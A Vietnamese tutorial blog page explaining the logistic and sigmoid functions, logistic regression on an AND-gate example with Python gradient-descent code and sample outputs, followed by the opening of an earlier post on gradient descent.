<p>Nhìn vào đồ thị, ta thấy rằng khi dân số bắt đầu tăng thì sự tăng trưởng này dường như theo cấp lũy thừa, rồi sau đó khi gần bão hòa thì sự tăng trưởng giảm lại, và đến cuối cùng thì sự tăng dân số gần như dừng hẳn. Tốc độ sinh sản tỷ lệ với cả số dân hiện tại và lượng tài nguyên có sẵn. Đó là lý do tại sao hàm này có tên là hàm hậu cần.</p>
</div>
<div class="section" id="ham-xich-ma-chuan-standard-sigmoid-function">
<h3>Hàm xích-ma chuẩn (standard sigmoid function)</h3>
<p>Chúng ta đã đề cập đến hàm xích-ma chuẩn trong mục trên. Mục này sẽ nêu ra một vài nhận xét quan trọng. Và từ bây giờ, khi nói đến hàm xích-ma, ta nói đến hàm xích-ma chuẩn này.</p>
<p>Trước tiên, ta sẽ viết lại hàm xích-ma theo dạng một hàm hậu cần với các giá trị thích hợp.</p>
<div class="math">
\begin{equation*}
S(x) = \cfrac{1}{1 + e^{-x}}
\end{equation*}
</div>
<ol class="arabic simple">
<li>Hàm xích-ma có giá trị trong khoảng <span class="math">\((0, 1)\)</span>. Tức là hàm này bị chặn trên bởi tiệm cận <span class="math">\(y = 1\)</span> và chặn dưới bởi tiệm cận <span class="math">\(y = 0\)</span>.</li>
<li>Hàm xích-ma hoàn toàn đối xứng qua trung điểm tại <span class="math">\(x_0 = 0\)</span>, hay <span class="math">\(S(-x) = 1 - S(x)\)</span>.</li>
<li>Hàm xích-ma có đạo hàm (khả vi) ở mọi điểm.</li>
</ol>
<p>Từ hai nhận xét đầu, ta thấy rằng giá trị của hàm xích-ma rất có thể được dùng để biểu diễn một xác suất của biến nhị phân nào đấy. Nhận xét cuối khiến ta nghĩ đến <a class="reference external" href="2018/04/may-hoc-pho-thong-2.html">kỹ thuật xuống dốc</a>.</p>
<p>Đạo hàm của hàm xích-ma chuẩn có thể tìm được như sau:</p>
<div class="math">
\begin{align*}
S^\prime(x) &= \cfrac{\partial}{\partial x} \left( \cfrac{1}{1 + e^{-x}} \right) \\
&= \cfrac{1}{(1 + e^{-x})^2} (e^{-x}) \\
&= \cfrac{1}{1 + e^{-x}} \cfrac{e^{-x}}{1 + e^{-x}} \\
&= \cfrac{1}{1 + e^{-x}} \times \left( 1 - \cfrac{1}{1 + e^{-x}} \right) \\
&= S(x)(1 - S(x))
\end{align*}
</div>
</div>
</div>
<div class="section" id="hoi-quy-hau-can-logistic-regression">
<h2>Hồi quy hậu cần (logistic regression)</h2>
<div class="section" id="phuong-phap-hoi-quy-hau-can">
<h3>Phương pháp hồi quy hậu cần</h3>
<p>Trong phương pháp hồi quy tuyến tính, quan hệ giữa biến phụ thuộc và biến độc lập được giả định là quan hệ tuyến tính. Tương tự, hồi quy hậu cần giả định mối quan hệ này là một hàm hậu cần, cụ thể là hàm xích-ma chuẩn.</p>
<p>Giả sử các biến độc lập <span class="math">\(x_1, \dots, x_n\)</span> cùng với <span class="math">\(x_0 = 1\)</span> được viết dưới dạng véc tơ là <span class="math">\(\vec{x}\)</span>, và tham số của mô hình hồi quy <span class="math">\(\theta_0, \theta_1, \dots, \theta_n\)</span> cũng được viết dưới dạng véc tơ là <span class="math">\(\vec{\theta}\)</span>, phương pháp hồi quy hậu cần trong bài này giả định rằng:</p>
<div class="math">
\begin{equation*}
\hat{y} = S(\vec{\theta} \cdot \vec{x})
\end{equation*}
</div>
<p>Ký hiệu <span class="math">\(\vec{a} \cdot \vec{b}\)</span> thể hiện tích vô hướng (dot product) của hai véc tơ. Tích vô hướng này có giá trị là tổng của tích của các cặp phần tử tương ứng, <span class="math">\(\sum_i a_i \times b_i\)</span>.</p>
<p>So với hồi quy tuyến tính <span class="math">\(\hat{y} = \vec{\theta} \cdot \vec{x}\)</span>, ta nhận thấy rằng hồi quy hậu cần chỉ thêm ở chỗ tính giá trị của hàm xích-ma từ tích vô hướng.</p>
</div>
<div class="section" id="vi-du-ham-and">
<h3>Ví dụ hàm AND</h3>
<p>Giả sử chúng ta có bảng dữ liệu đầu vào như sau:</p>
<table border="1" class="docutils">
<colgroup>
<col width="11%" />
<col width="31%" />
<col width="31%" />
<col width="26%" />
</colgroup>
<thead valign="bottom">
<tr><th class="head">Dòng</th>
<th class="head"><span class="math">\(x_1\)</span></th>
<th class="head"><span class="math">\(x_2\)</span></th>
<th class="head"><span class="math">\(y\)</span></th>
</tr>
</thead>
<tbody valign="top">
<tr><td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr><td>1</td>
<td>0</td>
<td>1</td>
<td>0</td>
</tr>
<tr><td>2</td>
<td>1</td>
<td>0</td>
<td>0</td>
</tr>
<tr><td>3</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
</tbody>
</table>
<p>Bảng dữ liệu này thể hiện giá trị thực (actual value) của cổng AND. Nếu vẽ đồ thị 2 chiều ta sẽ có hình như sau (màu đỏ thể hiện giá trị <span class="math">\(y = 0\)</span> và màu xanh lá cây thể hiện giá trị <span class="math">\(y = 1\)</span>):</p>
<div class="figure">
<img alt="" src="/static/machine-learning/logistic-regression-1.png" />
<p class="caption">Giá trị thực của cổng AND</p>
<div class="legend">
<div class="highlight"><pre><span></span><span class="c1"># encoding: utf-8</span>
<span class="kn">from</span> <span class="nn">matplotlib</span> <span class="kn">import</span> <span class="n">pyplot</span> <span class="k">as</span> <span class="n">plt</span>
<span class="n">plt</span><span class="o">.</span><span class="n">axes</span><span class="p">()</span><span class="o">.</span><span class="n">set_aspect</span><span class="p">(</span><span class="s1">'equal'</span><span class="p">,</span> <span class="s1">'datalim'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">axvline</span><span class="p">(</span><span class="n">x</span><span class="o">=</span><span class="mi">0</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">axhline</span><span class="p">(</span><span class="n">y</span><span class="o">=</span><span class="mi">0</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">xlim</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">ylim</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">([</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span> <span class="s1">'ro'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">([</span><span class="mi">1</span><span class="p">],</span> <span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s1">'go'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">savefig</span><span class="p">(</span><span class="s1">'logistic-regression-1.png'</span><span class="p">)</span>
</pre></div>
</div>
</div>
<p>Điểm quan trọng của bảng dữ liệu đầu vào này là giá trị của biến <span class="math">\(y\)</span> <em>chỉ có hai khả năng</em>, hoặc là <span class="math">\(0\)</span>, hoặc là <span class="math">\(1\)</span>.</p>
</div>
<div class="section" id="xac-lap-ham-mat-mat-tu-sai-so">
<h3>Xác lập hàm mất mát từ sai số</h3>
<p>Gọi <span class="math">\(erf_\vec{\theta}(\vec{x}, y)\)</span> là sai số của mô hình khi tham số là <span class="math">\(\vec{\theta}\)</span>, dữ liệu đầu vào là véc tơ <span class="math">\(\vec{x}\)</span> và giá trị thực là <span class="math">\(y\)</span>. Vì giá trị dự đoán <span class="math">\(\hat{y}\)</span> bị chặn trong khoảng <span class="math">\((0, 1)\)</span> nên với mỗi dòng, sai số (không âm) sẽ là:</p>
<div class="math">
\begin{align*}
erf_\vec{\theta}(\vec{x}, y) & = \begin{cases}
1 - \hat{y} & \mbox{khi } y = 1 \\
\hat{y} - 0 & \mbox{khi } y = 0
\end{cases} \\
& =
\begin{cases}
1 - S(\vec{\theta} \cdot \vec{x}) & \mbox{khi } y = 1 \\
S(\vec{\theta} \cdot \vec{x}) - 0 & \mbox{khi } y = 0
\end{cases}
\end{align*}
</div>
<p>Với một chút sáng tạo, chúng ta có thể gộp hai điều kiện này lại như sau:</p>
<div class="math">
\begin{align*}
erf_\vec{\theta}(\vec{x}, y) = & y \times \left( 1 - S(\vec{\theta} \cdot \vec{x}) \right) + (1 - y) \times S(\vec{\theta} \cdot \vec{x}) \\
= & y + (1 - 2y) \times S(\vec{\theta} \cdot \vec{x})
\end{align*}
</div>
<p>Theo thói quen, chúng ta sẽ lấy đạo hàm bậc nhất (để áp dụng kỹ thuật xuống dốc nhằm tìm điểm cực tiểu của <span class="math">\(erf\)</span>.</p>
<div class="math">
\begin{align*}
\cfrac{\partial}{\partial \vec{\theta}} erf_\vec{\theta}(\vec{x}, y) & = \cfrac{\partial \left( y + (1 - 2y) \times S(\vec{\theta} \cdot \vec{x}) \right)}{\partial S(\vec{\theta} \cdot \vec{x})} \cfrac{\partial S(\vec{\theta} \cdot \vec{x})}{\partial \vec{\theta}} \\
& = \cfrac{1-2y}{\partial S(\vec{\theta} \cdot \vec{x})} \cfrac{\partial S(\vec{\theta} \cdot \vec{x})}{\partial \vec{\theta}} \\
& = (1 - 2y) \times S(\vec{\theta} \cdot \vec{x}) \times \left( 1 - S(\vec{\theta} \cdot \vec{x}) \right) \cfrac{\partial \vec{\theta} \cdot \vec{x}}{\partial \vec{x}} \\
& = (1 - 2y) \times S(\vec{\theta} \cdot \vec{x}) \times \left( 1 - S(\vec{\theta} \cdot \vec{x}) \right) \vec{x}
\end{align*}
</div>
<p>Cuối cùng, hàm mất mát chỉ đơn giản là tổng của sai số của tất cả các dòng trong bảng đầu vào:</p>
<div class="math">
\begin{align*}
\mathcal{L}(\vec{\theta}) & = \sum_{i=0}^3 erf_\vec\theta \left( \vec{x^{(i)}}, y^{(i)} \right) \\
& = \sum_{i=0}^3 \left[ y^{(i)} + (1 - 2y^{(i)}) \times S \left( \vec{\theta} \cdot \vec{x^{(i)}} \right) \right] \\
\nabla \mathcal{L}(\vec{\theta}) & = \sum_{i = 0}^3 \\
& = \sum_{i=0}^3 (1 - 2y^{(i)}) \times S \left( \vec{\theta} \cdot \vec{x^{(i)}} \right) \times \left[ 1 - S \left( \vec{\theta} \cdot \vec{x^{(i)}} \right) \right] \vec{x^{(i)}}
\end{align*}
</div>
</div>
<div class="section" id="xuong-doc">
<h3>Xuống dốc</h3>
<p>Cài đặt <a class="reference external" href="2018/04/may-hoc-pho-thong-2.html">kỹ thuật xuống dốc</a> trở thành đơn giản như sau:</p>
<div class="highlight"><pre><span></span><span class="c1"># encoding: utf-8</span>
<span class="kn">import</span> <span class="nn">math</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="k">def</span> <span class="nf">sigmoid</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
<span class="k">return</span> <span class="mf">1.0</span> <span class="o">/</span> <span class="p">(</span><span class="mf">1.0</span> <span class="o">+</span> <span class="n">math</span><span class="o">.</span><span class="n">exp</span><span class="p">(</span><span class="o">-</span><span class="n">x</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">dot</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">theta</span><span class="p">):</span>
<span class="k">return</span> <span class="nb">sum</span><span class="p">(</span><span class="n">x_i</span> <span class="o">*</span> <span class="n">theta_i</span> <span class="k">for</span> <span class="n">x_i</span><span class="p">,</span> <span class="n">theta_i</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">theta</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">f_prime</span><span class="p">(</span><span class="n">theta</span><span class="p">,</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">):</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">sigmoid</span><span class="p">(</span><span class="n">dot</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">theta</span><span class="p">))</span>
<span class="n">t</span> <span class="o">=</span> <span class="p">(</span><span class="mi">1</span> <span class="o">-</span> <span class="mi">2</span> <span class="o">*</span> <span class="n">y</span><span class="p">)</span> <span class="o">*</span> <span class="n">s</span> <span class="o">*</span> <span class="p">(</span><span class="mi">1</span> <span class="o">-</span> <span class="n">s</span><span class="p">)</span>
<span class="k">return</span> <span class="p">[</span><span class="n">t</span> <span class="o">*</span> <span class="n">x_i</span> <span class="k">for</span> <span class="n">x_i</span> <span class="ow">in</span> <span class="n">x</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">loss</span><span class="p">(</span><span class="n">theta</span><span class="p">,</span> <span class="n">xs</span><span class="p">,</span> <span class="n">ys</span><span class="p">):</span>
<span class="n">s</span> <span class="o">=</span> <span class="mf">0.0</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">ys</span><span class="p">)):</span>
<span class="n">x</span> <span class="o">=</span> <span class="n">xs</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="n">y</span> <span class="o">=</span> <span class="n">ys</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="n">s</span> <span class="o">+=</span> <span class="n">y</span> <span class="o">+</span> <span class="n">sigmoid</span><span class="p">(</span><span class="n">dot</span><span class="p">(</span><span class="n">theta</span><span class="p">,</span> <span class="n">x</span><span class="p">))</span> <span class="o">*</span> <span class="p">(</span><span class="mi">1</span> <span class="o">-</span> <span class="mi">2</span> <span class="o">*</span> <span class="n">y</span><span class="p">)</span>
<span class="k">return</span> <span class="n">s</span>
<span class="c1"># Bảng đầu vào.</span>
<span class="n">xs</span> <span class="o">=</span> <span class="p">(</span>
<span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span>
<span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">),</span>
<span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span>
<span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">),</span>
<span class="p">)</span>
<span class="n">ys</span> <span class="o">=</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
<span class="c1"># Khởi tạo theta ngẫu nhiên.</span>
<span class="n">theta</span> <span class="o">=</span> <span class="p">[</span><span class="n">random</span><span class="o">.</span><span class="n">random</span><span class="p">()</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">-</span> <span class="mi">1</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">xs</span><span class="p">[</span><span class="mi">0</span><span class="p">]))]</span>
<span class="c1"># Đinh tốc độ học.</span>
<span class="n">alpha</span> <span class="o">=</span> <span class="mf">0.5</span>
<span class="c1"># Lặp xuống dốc.</span>
<span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10000</span><span class="p">):</span>
<span class="c1"># Đạo hàm riêng đối với mỗi dòng đầu vào.</span>
<span class="n">grad</span> <span class="o">=</span> <span class="p">[</span><span class="n">f_prime</span><span class="p">(</span><span class="n">theta</span><span class="p">,</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">xs</span><span class="p">,</span> <span class="n">ys</span><span class="p">)]</span>
<span class="c1"># Lấy tổng các đạo hàm riêng lại với nhau.</span>
<span class="n">grad</span> <span class="o">=</span> <span class="p">[</span><span class="nb">sum</span><span class="p">(</span><span class="n">g</span><span class="p">[</span><span class="n">c</span><span class="p">]</span> <span class="k">for</span> <span class="n">g</span> <span class="ow">in</span> <span class="n">grad</span><span class="p">)</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">xs</span><span class="p">[</span><span class="mi">0</span><span class="p">]))]</span>
<span class="c1"># Cập nhật theta.</span>
<span class="n">theta</span> <span class="o">=</span> <span class="p">[</span><span class="n">theta_i</span> <span class="o">-</span> <span class="n">alpha</span> <span class="o">*</span> <span class="n">grad_i</span> <span class="k">for</span> <span class="n">theta_i</span><span class="p">,</span> <span class="n">grad_i</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">theta</span><span class="p">,</span> <span class="n">grad</span><span class="p">)]</span>
<span class="c1"># In kết quả.</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Theta'</span><span class="p">,</span> <span class="n">theta</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Loss'</span><span class="p">,</span> <span class="n">loss</span><span class="p">(</span><span class="n">theta</span><span class="p">,</span> <span class="n">xs</span><span class="p">,</span> <span class="n">ys</span><span class="p">))</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">xs</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="n">x</span><span class="p">[</span><span class="mi">1</span><span class="p">:],</span> <span class="mi">1</span> <span class="k">if</span> <span class="n">sigmoid</span><span class="p">(</span><span class="n">dot</span><span class="p">(</span><span class="n">theta</span><span class="p">,</span> <span class="n">x</span><span class="p">))</span> <span class="o">></span> <span class="mf">0.5</span> <span class="k">else</span> <span class="mi">0</span><span class="p">)</span>
</pre></div>
<p>Nếu ta chạy đoạn mã này vài lần ta sẽ nhận được một vài kết quả tương tự như:</p>
<ul>
<li><p class="first">Kết quả tốt:</p>
<pre class="literal-block">
('Theta', [-20.343564894829285, 13.449940134510761, 13.449940134512088])
('Loss', 0.003445503518918143)
((0, 0), 0)
((0, 1), 0)
((1, 0), 0)
((1, 1), 1)
</pre>
</li>
<li><p class="first">Kết quả sai:</p>
<pre class="literal-block">
('Theta', [-8.775858442431886, -1.9183968394864555, -1.9398821984374943])
('Loss', 1.0001960002735877)
((0, 0), 0)
((0, 1), 0)
((1, 0), 0)
((1, 1), 0)
</pre>
</li>
</ul>
<p>Khi vẽ đồ thị của kết quả đúng, biểu diễn đường <span class="math">\(13.45x_1 + 13.45x_2 - 20.34 = 0\)</span>), ta sẽ thấy đường này đích thực phân chia 4 điểm đầu vào làm hai phần.</p>
<div class="figure">
<img alt="" src="/static/machine-learning/logistic-regression-2.png" />
<p class="caption">Đường thẳng phân chia 4 điểm của cổng AND</p>
<div class="legend">
<div class="highlight"><pre><span></span><span class="c1"># encoding: utf-8</span>
<span class="kn">from</span> <span class="nn">matplotlib</span> <span class="kn">import</span> <span class="n">pyplot</span> <span class="k">as</span> <span class="n">plt</span>
<span class="n">plt</span><span class="o">.</span><span class="n">axes</span><span class="p">()</span><span class="o">.</span><span class="n">set_aspect</span><span class="p">(</span><span class="s1">'equal'</span><span class="p">,</span> <span class="s1">'datalim'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">axvline</span><span class="p">(</span><span class="n">x</span><span class="o">=</span><span class="mi">0</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">axhline</span><span class="p">(</span><span class="n">y</span><span class="o">=</span><span class="mi">0</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">xlim</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">ylim</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">([</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span> <span class="s1">'ro'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">([</span><span class="mi">1</span><span class="p">],</span> <span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s1">'go'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">([</span><span class="n">x</span> <span class="o">/</span> <span class="mf">100.0</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="o">-</span><span class="mi">10</span><span class="p">,</span> <span class="mi">200</span><span class="p">)],</span>
<span class="p">[</span><span class="mf">20.34</span> <span class="o">/</span> <span class="mf">13.45</span> <span class="o">-</span> <span class="n">x</span> <span class="o">/</span> <span class="mf">100.0</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="o">-</span><span class="mi">10</span><span class="p">,</span> <span class="mi">200</span><span class="p">)],</span>
<span class="n">color</span><span class="o">=</span><span class="s1">'blue'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">savefig</span><span class="p">(</span><span class="s1">'logistic-regression-2.png'</span><span class="p">)</span>
</pre></div>
</div>
</div>
<p>Và nếu bạn đọc thử thay đổi số lần lặp, ví dụ như chỉ còn lặp 1000 lần, thì kết quả tốt sẽ tương tự như sau:</p>
<pre class="literal-block">
('Theta', [-13.21535778050865, 8.695017656986474, 8.695017826984383])
('Loss', 0.036685218920188806)
((0, 0), 0)
((0, 1), 0)
((1, 0), 0)
((1, 1), 1)
</pre>
<p>Ta nhận thấy hai điều ngoài ý muốn sau:</p>
<ul class="simple">
<li>Kết quả không hội tụ. Mỗi lần chạy, ta có thể nhận được một kết quả khác nhau.</li>
<li>Có vẻ như tham số <span class="math">\(\vec{\theta}\)</span> của mô hình càng tăng khi chúng ta lặp càng nhiều.</li>
</ul>
<p>Chúng ta sẽ giải thích hai điểm này trong bài viết kế tiếp.</p>
</div>
</div>
<div class="section" id="tom-tat">
<h2>Tóm tắt</h2>
<p>Trong bài viết này, chúng ta giới thiệu hàm hậu cần, nguồn gốc của cái tên "kỳ lạ" này, các đặc điểm của nó, và thiết lập hàm xích-ma chuẩn dựa theo hàm hậu cần. Kế đó, chúng ta đã giải thích khái niệm hồi quy hậu cần, đưa ra một ví dụ để từ đó xác lập phương pháp tìm tham số của mô hình. Chúng ta đã sử dụng sai số <span class="math">\(\vert y - \hat{y} \vert\)</span> trong quá trình xác lập hàm mất mát. Khi áp dụng kỹ thuật xuống dốc, chúng ta gặp phải một số trục trặc khiến kết quả tìm được hoặc là không tốt, hoặc là thay đổi theo số bước xuống dốc. Bạn đọc được khuyến khích thảo luận về các vấn đề đó trong <a class="reference external" href="https://forum.vithon.org">diễn đàn</a> trước khi đọc tiếp phần sau.</p>
</div>
<div class="section" id="tai-lieu-doc-them">
<h2>Tài liệu đọc thêm</h2>
<ol class="arabic simple">
<li><a class="reference external" href="https://en.wikipedia.org/wiki/Logistic_function">Trang Logistic function</a> ở Wikipedia.</li>
<li><a class="reference external" href="https://en.wikipedia.org/wiki/Pierre_Fran%C3%A7ois_Verhulst">Trang Pierre François Verhulst</a> ở Wikipedia.</li>
<li><a class="reference external" href="https://en.wikipedia.org/wiki/Sigmoid_function">Trang Sigmoid function</a> ở Wikipedia.</li>
</ol>
</div>
<script type='text/javascript'>if (!document.getElementById('mathjaxscript_pelican_#%@#$@#')) {
var align = "center",
indent = "0em",
linebreak = "false";
if (false) {
align = (screen.width < 768) ? "left" : align;
indent = (screen.width < 768) ? "0em" : indent;
linebreak = (screen.width < 768) ? 'true' : linebreak;
}
var mathjaxscript = document.createElement('script');
mathjaxscript.id = 'mathjaxscript_pelican_#%@#$@#';
mathjaxscript.type = 'text/javascript';
mathjaxscript.src = 'https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.3/latest.js?config=TeX-AMS-MML_HTMLorMML';
mathjaxscript[(window.opera ? "innerHTML" : "text")] =
"MathJax.Hub.Config({" +
" config: ['MMLorHTML.js']," +
" TeX: { extensions: ['AMSmath.js','AMSsymbols.js','noErrors.js','noUndefined.js'], equationNumbers: { autoNumber: 'AMS' } }," +
" jax: ['input/TeX','input/MathML','output/HTML-CSS']," +
" extensions: ['tex2jax.js','mml2jax.js','MathMenu.js','MathZoom.js']," +
" displayAlign: '"+ align +"'," +
" displayIndent: '"+ indent +"'," +
" showMathMenu: true," +
" messageStyle: 'normal'," +
" tex2jax: { " +
" inlineMath: [ ['\\\\(','\\\\)'] ], " +
" displayMath: [ ['$$','$$'] ]," +
" processEscapes: true," +
" preview: 'TeX'," +
" }, " +
" 'HTML-CSS': { " +
" styles: { '.MathJax_Display, .MathJax .mo, .MathJax .mi, .MathJax .mn': {color: 'inherit ! important'} }," +
" linebreaks: { automatic: "+ linebreak +", width: '90% container' }," +
" }, " +
"}); " +
"if ('default' !== 'default') {" +
"MathJax.Hub.Register.StartupHook('HTML-CSS Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax['HTML-CSS'].FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"MathJax.Hub.Register.StartupHook('SVG Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax.SVG.FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"}";
(document.body || document.getElementsByTagName('head')[0]).appendChild(mathjaxscript);
}
</script>Máy học phổ thông (2)2018-04-14T21:06:00+07:002018-04-14T21:06:00+07:00Nguyễn Thành Namtag:None,2018-04-14:2018/04/may-hoc-pho-thong-2.html<div class="section" id="gioi-thieu-ve-ky-thuat-xuong-doc-gradient-descent">
<h2>Giới thiệu về kỹ thuật xuống dốc (gradient descent)</h2>
<p>Trong <a class="reference external" href="2018/04/may-hoc-pho-thong-1.html">phần 1</a>, chúng ta sử dụng kỹ thuật xuống dốc để tìm điểm cực tiểu của hàm mất mát trong phương pháp hồi quy tuyến tính. Phần 2 của loạt bài <strong>Máy học phổ thông</strong> sẽ xem xét kỹ thuật …</p></div><div class="section" id="gioi-thieu-ve-ky-thuat-xuong-doc-gradient-descent">
<h2>Giới thiệu về kỹ thuật xuống dốc (gradient descent)</h2>
<p>Trong <a class="reference external" href="2018/04/may-hoc-pho-thong-1.html">phần 1</a>, chúng ta sử dụng kỹ thuật xuống dốc để tìm điểm cực tiểu của hàm mất mát trong phương pháp hồi quy tuyến tính. Phần 2 của loạt bài <strong>Máy học phổ thông</strong> sẽ xem xét kỹ thuật xuống dốc cặn kẽ hơn.</p>
<p>Kỹ thuật xuống dốc là một thuật toán tối ưu hóa (optimization algorithm) để tìm giá trị <em>cực tiểu</em> của một hàm. Như nhiều thuật toán tối ưu hóa khác, kỹ thuật xuống dốc lặp đi lặp lại một thủ tục tính toán để tìm ra giá trị kế tiếp, thường là tốt hơn, từ giá trị hiện tại.</p>
<p>Vì không phải là thuật toán chính xác, kỹ thuật xuống dốc không hứa hẹn trả về giá trị cực tiểu toàn cục (global minimum) mà chỉ có khả năng cao sẽ tìm thấy giá trị cực tiểu cục bộ (local minimum). Mặc dù có khuyết điểm lớn này nhưng trong thực tế kỹ thuật xuống dốc vẫn được sử dụng nhiều bởi vì:</p>
<ol class="arabic simple">
<li>Hàm cần tìm giá trị cực tiểu thường đơn giản và chỉ có một vài, hoặc thậm chí chỉ có duy nhất, cực tiểu. Như đã xét qua ở <a class="reference external" href="2018/04/may-hoc-pho-thong-1.html">phần 1</a>, hàm mất mát của hồi quy tuyến tính chỉ có duy nhất một cực tiểu.</li>
<li>Chúng ta có thể thực hiện kỹ thuật xuống dốc nhiều lần với nhiều vị trí khởi đầu ngẫu nhiên, và chọn lại giá trị cực tiểu đã tìm được trong tất cả các lần xuống dốc.</li>
<li>Trong nhiều bài toán, <em>lời giải chính xác</em> không quan trọng bằng <em>lời giải tốt vừa đủ</em>. Chúng ta sẽ thấy rằng trong máy học, sự <em>gần đúng</em> được tận dụng rất nhiều. Suy cho cùng, ai có thể đoán được giá nhà trong tương lai một cách chính xác? Chúng ta chỉ có thể ước lượng gần đúng mà thôi.</li>
</ol>
<p>Với những điều trên, chúng ta sẽ xem xét kỹ thuật xuống dốc thông qua một vài ví dụ cụ thể.</p>
</div>
<div class="section" id="tim-diem-cuc-tieu-cua-mot-pa-ra-bon">
<h2>Tìm điểm cực tiểu của một pa-ra-bôn</h2>
<div class="section" id="lap-ra-cong-thuc-xuong-doc">
<h3>Lập ra công thức xuống dốc</h3>
<p>Một trong những bài toán thường gặp ở chương trình phổ thông là khảo sát hàm số. Bạn đọc chắc chắn đã quá quen thuộc với việc vẽ đồ thị pa-ra-bôn, hoặc tạo bảng biến thiên. Chúng ta sẽ bắt đầu từ đó.</p>
